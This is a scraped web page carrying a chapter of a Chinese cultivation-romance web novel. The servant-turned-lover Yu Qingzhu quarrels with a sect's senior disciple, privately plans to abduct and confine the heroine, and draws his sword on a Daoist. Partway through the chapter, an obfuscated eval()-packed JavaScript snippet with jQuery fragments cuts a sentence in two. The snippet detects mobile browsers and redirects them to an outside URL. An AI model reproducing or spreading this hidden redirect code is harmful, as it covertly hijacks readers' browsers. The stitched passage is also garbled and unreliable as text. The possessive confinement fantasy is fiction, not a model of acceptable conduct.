默认冷灰
24号文字
方正启体

6. 主与仆

作者:笑风流本书字数:K更新时间:
    风正清在萧瑟寒风中站了许久,还是无法将道侣和仆人这两种关系联系起来。


    道侣乃是修仙者关系中最为隆重严肃的一种,在风正清的认知中,如若两人要结成道侣,必先昭告天下,然后请示上天,宴请四方宾客,在双方师门见证之下向众人展示祷祝的卦象,以示二人为上天所祝愿,而后再交换心头血,立下心魔誓,发誓永不背叛永不分离,千岁万年,生同衾,死同穴。


    礼成之后,结为道侣的二人修为共享,福祸与共,倘若一方死了,另外一方也寿元将尽无法独活,成仙之路也就此终结,再无可能。


    正因为这誓言的厚重,道侣一词在风正清心中是绝对的纯洁真挚不可亵渎,纵使他一生还未动情,但从来不敢轻易提起这二字。


    在他眼中,唯有德高望重之人,唯有深思熟虑之后,唯有历经千辛万苦此心不换,才配说出道侣二字。


    但以上无论是哪种形容,都跟面前这个恶毒随意又顽劣的少年没有一丁点关系,更和仆人这两字是云泥之别!


    仆人那是什么身份,那是修真界最低贱的契约,没有自由没有选择,一生辗转流离,生死全在对方一念之间,毫无反抗的可能,对修仙者来说是最耻辱的刑法,比死还难受,比最脏污的炉鼎还不如。


    这二者之间差距犹如云泥之别,决然不该放在一起相提并论,更别说同时出现在一个人的身上!绝无可能!


    风正清感觉自己这百年来恪守的规矩和信仰都摇摇欲坠。


    他抱着最后的期望看向涂南枝,希望她能给出一个像样的回答,比如解释一下身边人的惊世骇俗,或者干脆些否认虞青竹那一段荒谬绝伦的发言。


    但涂南枝睁着一双漂亮但清澈的眼睛看着他,歪了歪头,仿佛在问:有什么不对吗?


    气得风正清险些喷血,一张黄白色的面皮涨成了猪肝色,也再也端不住宗门大师兄的架子,牙齿上下打颤,差点一口气喘不过来,“这哪里像样!成何体统!成何体统!没有一处是对的!”


    涂南枝看着风正清摸着胸口几欲吐血的模样,下意识后退一步,退到虞青竹怀里,确定他就算吐血也吐不到自己身上之后才问了一句:“师兄,你怎么啦?是突发什么恶疾了吗?要不要找大夫呀?”


    风正清胸中那一口不上不下的气彻底冲破牢笼,在他血里横冲乱撞。


    他一连咳了许多下,整个人都颤抖起来,仿佛要把心肺都咳出来。


    涂南枝这下真吓到了,靠在虞青竹怀里,忍不住侧过头跟他嘀咕:“师兄这是怎么了呀?刚才还好好的,怎么咳得比我上了岁数的爹爹还厉害。不是说仙人不老不死吗?”


    虞青竹低头笑了笑,并没有压低声音,“厉害的仙人才不老不死,法力低微的,或者经脉破损的,跟凡人没什么两样,风吹一下就倒了,会老会死也会生病。”


    风正清更气了,枯如死水般的内心此刻如同火山爆发一般,噗嗤噗嗤地往外喷火,整个人连着面皮和耳垂都成了辣椒样的红。


    原本赶来迎接新同门的众人看得心惊胆战,连忙大喊:“快去找二师姐!大师兄要晕倒了!”“快去请师父!”


    原本已经快要气晕过去的风正清硬生生站住了,朝着周围这群看热闹的师弟师妹们喊了一声:“胡说八道!我何时要晕倒了!你们过来作甚,课业可有完成!剑术可有练习?地里的庄稼也曾照顾了?阵法可曾加固了?”


    原本伸着脖子看热闹的一群人登时低下头,一声不吭了,却又忍不住抬眼悄悄看站在风正清对面的二人,尤其是那美貌的少女,满头珠翠,衣衫上金线滚边,花鸟栩栩如生,在日头底下仿佛活过来一般,华贵非凡,没骨头一般靠在身后少年的怀里,顶着大师兄的低气压继续和同伴咬耳朵。


    “那你现在也会生病会老吗?来一阵风也能把你吹倒吗?”


    虞青竹垂眸看着涂南枝,长睫似鸦羽一般,在他眼睑下落下一小片阴影,“我如果说是,大小姐会更怜惜我些吗?”


    涂南枝脸上染上一丝绯红,“才不会,我会嫌你老了不好看了,然后去找更好看更年轻的服侍我。”


    虞青竹脸色顿时沉了下去,“不行,不许找。”


    涂南枝“哼”了一声,仰起头看着他,眉目间满是得意和挑衅,“你不许什么不许,现在我是主你是仆,你得听我的。你要是没把我伺候好,我随时换了你。我不仅要找,还要找一大群,环肥燕瘦,各有千秋,一起伺候我,轮流上岗,把你关小黑屋去。”


    虞青竹面色铁青,手上青筋暴起,几乎要立刻挣脱那捆仙索,将涂南枝横抱起来带到一个没人的地方,封锁所有的入口,一遍又一遍问她为什么,是他做的不够好,还是他一个人不能让她满足。


    一旁的风正清痛苦地闭上眼睛,认清了涂南枝大概也不是什么正儿八经好弟子的事实,大喊一声“够了!你们二人适可而止!”


    “光天化日朗朗乾坤!你们看看你们在说什么在做什么?!哪里有一点修仙之人的样子!怕是臭名昭著的合欢宗也不过如此了!”


    涂南枝还是那副懵懵的表情,不知道为什么面前这个仙人突然就开始生气。


    她和虞青竹什么也没干啊,只是说说话而已,衣服都没乱呢。


    什么是合欢宗,它为什么就臭名昭著了。


    都骂她了,怎么不解释解释啊。


    她挨骂挨得一头雾水。


    虞青竹本来就心情不好,骤然听到风正清对着涂南枝发火,不由得气不打一处来,依然把涂南枝抱着,二话不说就骂了回去,“我与妻子情投意合打情骂俏有什么道德沦丧天打雷劈的,我心悦她她也心悦我,凭什么不能互诉衷情。道君看不下去是因为你没有道侣只能孤身一人吗?”


    说着,虞青竹略微弯腰,把脑袋靠在涂南枝肩膀上,装模作样咳了两下,“没办法,我身受重伤,形同废人,就是要靠我妻多关照一二,不像道君已经习惯了一个人生活。”


    “道君口口声声天理正道,那为何还没有得道成仙,还在永安城这个地方虚度光阴,是道君不想成仙吗?还是你这种方式压根不能成仙。”


    “倘若是一个失败的法子,又有什么作为规矩的必要,这修仙界向来不是胜者为王吗?何时又成了凭着年龄说话的一言堂,要不然我们比试比试?谁赢谁说了算。”


    别说风正清了,涂南枝都有些听不下去,悄悄用胳膊肘撞了虞青竹一下,岔开话题,“谁是你妻子,别自己异想天开,我才不会嫁给你,你现在就是我仆人,其他的什么也没有。”


    虞青竹迅速改口,“行,主人。”


    绕是再迟钝,涂南枝听到这个称呼脸腾地一下红透了,耳朵也发烫,结结巴巴地看向虞青竹,意识到这似乎不太对劲,“你,你说什么呢!”


    虞青竹面色坦荡,似乎并没有意识到称呼有任何不妥之处,“你不是说我不许叫你妻子,也不许叫你霏霏,只是你的奴仆,不叫主人那叫你什么?”


    涂南枝一下子回答不上来,只是脸色越来越红,越来越烫,像是太阳下的薄皮樱桃一般。


    糟糕,救场把自己搭进去了。


    其他人的神色也不比涂南枝好到哪里去,不管年纪大小资历深浅修为如何,皆站在原地呆如木鸡地看着虞青竹,瞠目结舌,仿佛灵魂出窍一般,傻愣愣的,脑子却是飘过无数惊叹。


    这可是大师兄啊!说一不二铁面无情的大师兄啊!


    从来只有他骂人的份,没人敢顶嘴!就这么被人骂的狗血淋头!


    这人到底什么来历!恐怖如斯!流云宗的第一把交椅难道要换人坐了吗?大师兄的位置难道要换人了吗!


    他们要誓死捍卫大师兄呢,还是应该顺从这个魔头然后再徐徐图之呢,好难选啊。这个不速之客一看就很有钱又很能打的样子,怎么办啊!


    救命啊!师父!二师姐!三师姐!快来人啊!有人欺负到大师兄头上了!


    风正清也彻底失了风度和耐心,死死地抓住最后一丝面子,对着虞青竹和涂南枝发话,“我流云宗是真个儿八经修仙的地方,为的是兼济天下与人为善,将己身置于脑后。二位既然选择率性作为,我干涉不得,但也请二位另寻他处吧,我流云宗容不下二位。”


    虞青竹笑起来,给风正清传了道音。


    “一个害死同门临阵脱逃的人,也配说这等大义凛然的话吗?”


    风正清顿时脸色煞白,整个人如同破了的纸灯笼,颓丧至极,再也说不出半个字。


    一阵脚步声由远及近了,人群分开一条道,陆陆续续响起一片“师父!师姐!”的欢呼,仿佛看到了救星一般。


    涂南枝和虞青竹随着那一片欢呼看过去,只见一个灰衣服的老道步履蹒跚从东边儿走过来,一个素衣女修和一个穿着亮色长裙的艳丽女修从南边走过来,还提着几个蓝底白花的包袱。


    这三个人碰到一块儿,那素衣女修朝老道拱手行了个礼,而那穿亮色长裙地只仰起头,响亮喊了一声“师父!”。


    三人汇合后齐齐朝风正清看过来,见他明显是被气狠了,不由得视线往虞青竹和涂南枝这里转了过来,其中心思各不相同。


    那老道的目光里满是一种对生人的打量,而那亮色长裙的女修目光里满是好奇,还带着一些钦佩崇拜,素衣的女修目光则介于二者之间,无悲无喜,柔和而包容。


    涂南枝被风正清严肃的话吓着了些,现在又被这三人看着,忍不住露怯,下意识往虞青竹怀里躲,想把自己藏起来,当个小鸵鸟。


    虞青竹自然是愿意的,从背后抱着她,安慰了一句“别怕,这几人不足为惧,有我在,伤不了你。”


    涂南枝忍不住在心里腹诽,哪是几人啊,明明是乌泱泱一大群呢,旁边这些人不也都是流云宗的吗,一人一砖头都能把他们俩拍成扁扁的肉饼了。


    “你都重伤了,还以为自己是仙君吗。”涂南枝回了句嘴。


    虞青竹看着她发愁的模样也觉得分外可爱,眉毛轻轻蹙起来,眼睛里藏着雾一般的愁绪,教他忍不住想亲。


    “至少带你跑是可以做到的,毕竟有这么多法宝。”


    涂南枝并没有松一口气,攥着他的手指,惆怅但又坚定,“好不容易来一趟,我不想就这么走了,我还是想修仙。”


    “我连门都没迈进去呢。”她低着头,有些不甘心,“我是想当仙君,神君的。”


    虞青竹看着她低闷的样子心里一抽,还感到些许意外,毕竟涂南枝从小被他惯的很是娇气,从没有独立生活过,衣食住行是他一手包揽,对外界的世俗常识她也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165260|196680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是一无所知,完完全全的一张白纸,不然也不会连道侣是什么都不知道,完全地相信了他,被他诓骗着来了荒芜偏远的永安城,错过了那些大宗门的遴选。


    他一直以为涂南枝像从前一样,就是三分钟热度,稍微累一下就放弃了。


    却没想到她这次似乎来真的。


    “南枝是为了什么修仙呢?”他也认真起来,看着怀中的少女,无一处不是他亲眼看着一点点长成如今的模样,却不知在何时,藏了他不知道的心思。


    涂南枝移开了目光,并不看虞青竹,“我想成天下第一。”


    她的视线移开的瞬间,虞青竹已经做了决断。


    她在撒谎。


    在隐瞒,在遮掩一些东西。


    她有了秘密,而且是他猜不到的秘密。


    她的心里生出了一部分不属于他的东西。


    这个念头浮现的一瞬,虞青竹就已经产生了一种毁灭的欲望。


    想将所有无关紧要的人统统杀死,从涂南枝眼前抹去,让她只看得见自己,只能想到自己。


    或许不该妄想她的爱意,不该自大地给予她过度的自由,就该把她困在自己身边,两个人一起待在一个华美的囚笼里,日夜纠缠,不分你我,彻底地交融,这样才没有秘密,没有隐瞒。


    就像他上辈子所做的一样,不顾一切地强求,至少能得到涂南枝的人。


    即使一直被她骂混蛋禽兽,至少他们在死前未曾分离。


    虞青竹悄然解开了捆仙索,看着涂南枝,手中开始掐起术法,想着应该带她去哪里。


    回涂家?不,麻烦事太多。


    上辈子的仙府?不,他不能冒着任何让她想起前世的风险。荒无人烟的极寒之地?不,她怕冷。


    他正思索这偌大的天地有没有一个山清水秀四季如春又没有人烟的地方,一道莹白的术法冷不丁飞入他的身体。


    涂南枝忍不住尖叫一声,着急地抱着他的胳膊,问他有没有事。


    “清心咒而已。”胡须花白的灰衣道人往前迈了一步,微笑着解释,“年纪轻轻的,何必火气这么大,一人一道清心咒,消消气,也不是什么大事,就算了吧。”


    虞青竹依然冷着脸,显然是不满意的,但涂南枝觉得没什么,连忙点了点头以表赞同,又看着作为流云宗说一不二主心骨的道人,试探性问:“那,我还能入流云宗吗?”


    她指了指风正清,“刚刚这位大师兄亲自说的,流云宗广接天下来客。”


    风正清额头一跳,恨不得抽自己一下,正想辩解,灰衣道人伸手拦住了他,朝涂南枝温和一笑,“当然可以。小友根骨卓绝,能来流云宗,实在是我流云宗的福气。云薇,带这位新弟子去选个住所。”


    素衣女修应了一声,走到涂南枝面前,朝她道了一声“小师妹”,引着她往后山走。


    虞青竹本来也要跟着去,但被道人叫住。


    “这位道友,还请留步,既是有缘相会,可否移步寒舍饮杯茶水,或许我能为你解惑,为你指点迷津,以免误入歧途。”


    虞青竹并不想搭理他,抱着剑想跟涂南枝一起,结果被涂南枝推了回来。


    “多好一机会啊,你跟人家聊聊,语气好点,看看人家能不能帮你治治病。”说着,涂南枝解了捆仙索,跟着云薇走了。


    虞青竹本来就心情低落,现在涂南枝走了,更是懒得伪装,抱着剑,一副想大开杀戒的厌世模样,抬着下巴垂着眼角看向面前这个道人,拇指缓慢推剑出鞘,仿佛在倒计时,开口便直呼道人的名字。


    “天机道人。”


    “你口含天宪而生,算无遗策,可曾替自己算过一卦?”


    “自然是算过的。”道人坐在蒲团上,那一头灰白须发逐渐变成健康的浓黑色,面庞也变得年轻,“七年前,九州大乱,格局改写。我所有的预言全部出错,天机阁因此覆灭,我声名狼藉,成了丧家之犬,不得不躲到此处扮成一个老头子躲风头。”


    “百思不得其解之下,我费尽毕生所学,窥见了天命的一角。”


    “在卦象里,我死于你手。”


    “我想不明白,我有什么得罪过你,我所说的一切从来都是真话,都是天命,从无半点私心。”


    虞青竹的剑已然出鞘,并没有任何解释的打算。


    对于涂南枝以外的人,他从来都是没什么耐心的。这个世界上的人对他来说只分为三类,涂南枝,死了会让涂南枝不喜欢他的人,以及其他。


    天机道人说了这么多也没得到他半句回应,虽然满是遗憾,但也没办法,只得叹了口气,整理了一下自己的衣襟,避免自己陨落之时太过难看,毕竟他清楚地知道自己和虞青竹这位剑君的差距。


    逃窜和反抗都只是让自己死的格外难看而已。


    出于哀怨,临死之前,他不由得抱怨了一句“你们无情剑道真是最令人讨厌的派系,无情无义,无爱无仇。分明我之前盛赞你,说你是九州支柱,临到头,杀我都不告诉我为什么的,让我死不瞑目。”


    虞青竹依然没有回应,如雪一般的剑尖刺破天机道人的衣襟,正要刺入他的心脏,了结他的性命。


    门外传来了涂南枝的声音。


    “虞青竹!师父!你们聊完了吗?我进来啦!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)